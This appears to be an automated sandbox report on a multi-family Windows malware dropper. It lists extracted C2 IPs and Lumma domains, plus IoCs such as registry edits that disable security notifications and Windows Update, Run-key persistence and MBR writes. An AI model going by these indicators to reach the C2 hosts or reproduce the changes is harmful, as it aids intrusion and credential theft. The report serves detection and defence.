amadey | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Resubmissions

17-12-2024 13:35

241217-qv6rzs1nhp 10

15-11-2024 19:06

14-11-2024 23:35

14-11-2024 23:26

14-11-2024 23:12

Analysis

max time kernel
648s
max time network
655s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
14-11-2024 23:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

metasploit_stager

144.34.162.13:3333

Extracted

Family

vidar

Version

11.5

Botnet

321a707fa673780c2e4ab40d133f2899

https://t.me/gos90t

https://steamcommunity.com/profiles/76561199800374635

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6

Extracted

Family

xworm

147.185.221.22:47930

127.0.0.1:47930

154.216.18.213:7000

Attributes

Install_directory
%AppData%
install_file
svchost.exe

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

3.70.228.168:555

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

ser.nrovn.xyz:6606

ser.nrovn.xyz:7707

ser.nrovn.xyz:8808

Mutex

nfMlxLKxWkbD

Attributes

delay
3
install
true
install_file
http.exe
install_folder
%AppData%

aes.plain

Extracted

Family

lumma

https://caffegclasiqwp.shop/api

https://stamppreewntnq.shop/api

https://stagedchheiqwo.shop/api

https://millyscroqwp.shop/api

https://evoliutwoqm.shop/api

https://condedqpwqm.shop/api

https://traineiwnqo.shop/api

https://locatedblsoqp.shop/api

https://associationokeo.shop/api

https://turkeyunlikelyofw.shop/api

https://detectordiscusser.shop/api

https://technologyenterdo.shop/api

https://fieldtrollyeowskwe.shop/api

Extracted

Family

xworm

Version

3.0

notes-congress.gl.at.ply.gg:24370

Mutex

xfgLgucyz0P7wfhC

Attributes

install_file
USB.exe

aes.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Detect Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral2/files/0x000400000002a713-729.dat	family_vidar_v7
behavioral2/memory/4056-733-0x0000000000450000-0x00000000006A9000-memory.dmp	family_vidar_v7
behavioral2/memory/4056-1155-0x0000000000450000-0x00000000006A9000-memory.dmp	family_vidar_v7

Detect Xworm Payload 5 IoCs

resource	yara_rule
behavioral2/files/0x0009000000025be7-798.dat	family_xworm
behavioral2/memory/900-803-0x00000000006A0000-0x00000000006B8000-memory.dmp	family_xworm
behavioral2/memory/2704-1289-0x0000000005640000-0x0000000005654000-memory.dmp	family_xworm
behavioral2/files/0x000500000000f45b-1392.dat	family_xworm
behavioral2/memory/2940-1397-0x0000000000C90000-0x0000000000CEA000-memory.dmp	family_xworm

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysvplervcs.exe

Njrat family
njrat
Phorphiex family
phorphiex

Phorphiex payload 5 IoCs

resource	yara_rule
behavioral2/files/0x000900000002a70b-723.dat	family_phorphiex
behavioral2/files/0x000200000002a777-1151.dat	family_phorphiex
behavioral2/files/0x0005000000000691-1561.dat	family_phorphiex
behavioral2/files/0x001c00000002ac5e-2065.dat	family_phorphiex
behavioral2/files/0x001d00000002ace0-2484.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Process spawned unexpected child process 42 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3560	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4576	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1372	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3432	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2844	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1908	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	452	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3312	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2216	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1268	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3896	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1260	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4256	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1168	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4776	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3964	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	328	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1372	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	596	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4424	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4636	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4040	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3468	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4256	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1352	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3280	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5036	1920	schtasks.exe	142
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3560	1920	schtasks.exe	142

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000300000002a811-1916.dat	family_quasar
behavioral2/files/0x001a00000002aca5-2354.dat	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001a00000002ac6f-2120.dat	family_redline
behavioral2/files/0x001a00000002aca8-2365.dat	family_redline

Redline family
redline
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs

description	pid	Process	procid_target
PID 740 created 3336	740	Possibly.pif	52
PID 4228 created 3336	4228	1214336818.exe	52
PID 4228 created 3336	4228	1214336818.exe	52
PID 1844 created 3336	1844	winupsecvmgr.exe	52
PID 1844 created 3336	1844	winupsecvmgr.exe	52
PID 1844 created 3336	1844	winupsecvmgr.exe	52
PID 2756 created 2264	2756	MsBuild.exe	49

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Windows security bypass 2 TTPs 18 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/files/0x0006000000025c2c-834.dat	family_asyncrat
behavioral2/files/0x0006000000025c44-863.dat	family_asyncrat

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000300000002a773-1135.dat	dcrat
behavioral2/memory/1960-1175-0x0000000000F80000-0x0000000001110000-memory.dmp	dcrat
behavioral2/files/0x000200000002a788-1188.dat	dcrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	document.exe

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/1844-1174-0x00007FF6DF760000-0x00007FF6DFCF7000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4776	powershell.exe
3292	powershell.EXE
4952	powershell.EXE
3196	powershell.exe
2912	powershell.exe
336	powershell.exe
3840	powershell.exe
4544	powershell.exe
3684	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\QAssist.sys	Gwogw.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
6624	net.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3152	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QAssist\ImagePath = "system32\\DRIVERS\\QAssist.sys"	Gwogw.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 6 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
5036	msedge.exe
1868	msedge.exe
3508	chrome.exe
4556	msedge.exe
3092	msedge.exe
2012	msedge.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000600000002a7fb-2257.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	document.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	document.exe

Drops startup file 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.exe	dllhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.exe	dllhost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dllhost.url	dllhost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\af0aa29f43924811e1101d2b844fbfd3.exe	server.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\af0aa29f43924811e1101d2b844fbfd3.exe	server.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe

Executes dropped EXE 64 IoCs

pid	Process
1928	ConsiderableWinners.exe
740	Possibly.pif
2328	Possibly.pif
380	Statement-415322024.exe
4272	s.exe
3080	server.exe
1572	1_encoded.exe
1068	msf.exe
3716	DecryptJohn.exe
2112	tpeinf.exe
4056	TPB-1.exe
4696	main.exe
3868	sysppvrdnvs.exe
4252	clip.exe
4272	GREENpackage.exe
900	svchost.exe
2580	AsyncClient.exe
4944	dllhost.exe
4824	langla.exe
1400	zzzz1.exe
4276	931427072.exe
4224	http.exe
3724	2667518541.exe
1824	3311910624.exe
4228	1214336818.exe
1844	winupsecvmgr.exe
452	loader.exe
2128	rhsgn_protected.exe
5068	Meeting.exe
572	peinf.exe
4540	ARA.exe
1268	t2.exe
5012	sysklnorbcv.exe
4664	dllhost.exe
1960	Msblockreview.exe
4636	winlogon.exe
1900	146064981.exe
2704	WindowsUI.exe
1288	dayum.exe
3912	478229728.exe
1564	build555.exe
2492	server.exe
3164	Authenticator.exe
2000	Armanivenntii_crypted_EASY.exe
2132	2233122421.exe
1484	DRIVEapplet.exe
2940	XClient.exe
4040	service.exe
2676	connector1.exe
2032	ggg.exe
4728	ggg.exe
2428	dllhost.exe
4512	Prototype.exe
4272	winrar-x64-701.exe
748	r.exe
4744	winrar-info.exe
1884	winrar-x64-701ru.exe
3824	sysvplervcs.exe
432	Update.exe
3000	2905210929.exe
2956	272992552.exe
2080	npldfzxzkixc.exe
1472	438530819.exe
3600	dllhost.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Wine	document.exe

Loads dropped DLL 23 IoCs

pid	Process
3716	DecryptJohn.exe
4056	TPB-1.exe
4056	TPB-1.exe
4272	GREENpackage.exe
2000	Armanivenntii_crypted_EASY.exe
4728	ggg.exe
4728	ggg.exe
4728	ggg.exe
1484	DRIVEapplet.exe
5900	cw_launcher.exe
6096	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
6072	cw_launcher.exe
5508	cw_launcher.exe
5820	cw_launcher.exe
5644	cw_launcher.exe
5820	cw_launcher.exe
5820	cw_launcher.exe
5820	cw_launcher.exe
5820	cw_launcher.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 21 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\MyApp = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\WindowsUI.exe\""	WindowsUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\af0aa29f43924811e1101d2b844fbfd3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\server.exe\" .."	server.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\af0aa29f43924811e1101d2b844fbfd3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\server.exe\" .."	server.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe"	r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\dllhost.exe = "\"C:\\ProgramData\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dllhost.exe = "\"C:\\ProgramData\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	newtpp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	tpeinf.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\k:	server.exe
File opened (read-only)	\??\q:	server.exe
File opened (read-only)	\??\r:	server.exe
File opened (read-only)	\??\y:	server.exe
File opened (read-only)	\??\e:	server.exe
File opened (read-only)	\??\i:	server.exe
File opened (read-only)	\??\l:	server.exe
File opened (read-only)	\??\z:	server.exe
File opened (read-only)	\??\a:	server.exe
File opened (read-only)	\??\j:	server.exe
File opened (read-only)	\??\u:	server.exe
File opened (read-only)	\??\x:	server.exe
File opened (read-only)	\??\o:	server.exe
File opened (read-only)	\??\p:	server.exe
File opened (read-only)	\??\h:	server.exe
File opened (read-only)	\??\m:	server.exe
File opened (read-only)	\??\n:	server.exe
File opened (read-only)	\??\s:	server.exe
File opened (read-only)	\??\t:	server.exe
File opened (read-only)	\??\v:	server.exe
File opened (read-only)	\??\b:	server.exe
File opened (read-only)	\??\g:	server.exe
File opened (read-only)	\??\w:	server.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
1	bitbucket.org
1	raw.githubusercontent.com
14	bitbucket.org
29	raw.githubusercontent.com
567	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
808	ip-api.com
1	ip-api.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4784	powercfg.exe
2608	powercfg.exe
1504	powercfg.exe
424	powercfg.exe
2872	powercfg.exe
960	powercfg.exe
2428	powercfg.exe
1268	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	server.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x001900000002ad42-2898.dat	autoit_exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Gwogw.exe	svchot.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	npldfzxzkixc.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File opened for modification	C:\Windows\system32\SubDir\Client.exe	plswork.exe
